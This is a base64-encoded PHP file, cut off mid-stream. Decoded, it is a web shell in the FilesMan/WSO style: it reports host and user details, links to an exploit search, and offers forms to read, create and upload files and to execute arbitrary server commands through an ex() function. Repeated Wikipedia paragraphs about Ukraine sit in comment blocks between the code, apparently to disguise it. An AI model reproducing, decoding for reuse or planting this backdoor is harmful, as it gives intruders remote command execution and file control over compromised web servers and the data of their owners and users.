bsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7Cgl9CgllY2hvICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6Jy4oJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbic/Jzxicj5Ecml2ZXM6JzonJykuJzwvc3Bhbj48L3RkPicuCgkJICc8dGQ+PG5vYnI+Jy5zdWJzdHIoQHBocF91bmFtZSgpLCAwLCAxMjApLicgIDxhIGhyZWY9Imh0dHA6Ly93d3cuZ29vZ2xlLmNvbS9zZWFyY2g/cT0nLnVybGVuY29kZShAcGhwX3VuYW1lKCkpLiciIHRhcmdldD0iX2JsYW5rIj5bR29vZ2xlXTwvYT4gPGEgaHJlZj0iJy4kbWlsbGluay4nIiB0YXJnZXQ9X2JsYW5rPltFeHBsb2l0LUdpdF08L2E+PC9ub2JyPjxicj4nLiR1aWQuJyAoICcuJHVzZXIuJyApIDxzcGFuPkdyb3VwOjwvc3Bhbj4gJy4kZ2lkLicgKCAnLiRncm91cC4nICk8YnI+Jy5AcGhwdmVyc2lvbigpLicgPHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gJy4oJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9IzAwQThBOD48Yj5PRkY8L2I+PC9mb250PicpLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLG51bGwsXCdpbmZvXCcpIj5bIHBocGluZm8gXTwvYT4gPHNwYW4+RGF0ZXRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJykuJzxicj4nLnZpZXdTaXplKCR0b3RhbFNwYWNlKS4nIDxzcGFuPkZyZWU6PC9zcGFuPiAnLnZpZXdTaXplKCRmcmVlU3BhY2UpLicgKCcuKGludCkoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApLiclKTxicj4nLiRjd2RfbGlua3MuJyAnLnZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRHTE9CQUxTWydob21lX2N3ZCddLidcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjxicj4nLiRkcml2ZXMuJzwvdGQ+Jy4KCQkgJzx0ZCB3aWR0aD0xIGFsaWduPXJpZ2h0Pjxub2JyPjxzZWxlY3Qgb25jaGFuZ2U9ImcobnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudmFsdWUpIj48b3B0Z3JvdXAgbGFiZWw9IlBhZ2UgY2hhcnNldCI+Jy4kb3B0X2NoYXJzZXRzLic8L29wdGdyb3VwPjwvc2VsZWN0Pjxicj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4nLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4nPGJyPjxzcGFuPkNsaWVudCBJUDo8L3NwYW4+PGJyPicuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uJzwvbm9icj48L3RkPjwvdHI+PC90YWJsZT4nLgoJCSAnPHRhYmxlIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOnRlYWw7Ij48dHI+Jy4kbWVudS4nPC90cj48L3RhYmxlPjxkaXY+JzsKfQoKZnVuY3Rpb24gcHJpbnRGb290ZXIoKSB7CgkkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyI8Zm9udCBjb2xvcj10ZWFsPlsgV3JpdGVhYmxlIF08L2ZvbnQ+IjoiPGZvbnQgY29sb3I9cmVkPlsgTm90IHdyaXRhYmxlIF08L2ZvbnQ+IjsKPz4KPC9kaXY+Cgo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSI+Cgk8dHI+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSJnKG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iPD89aHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pOz8+Ij48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgoJPC90cj4KCgk8dHI+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48Pz0kaXNfd3JpdGFibGU/PjwvdGQ+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PD89JGlzX3dyaXRhYmxlPz48L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ0NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01Bbic+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nPD89aHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pPz4nPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106Jyc/Pic+CgkJPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48Pz0kaXNfd3JpdGFibGU/PjwvdGQ+Cgk8L3RyPgoKPC90YWJsZT4KPC9kaXY+CjwvYm9keT48L2h0bWw+Cjw/cGhwCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwp9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0KaWYgKCAhZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpICkgeyBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkgeyByZXR1cm4gZmFsc2U7IH0gfQpmdW5jdGlvbiBleCgkaW4pIHsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb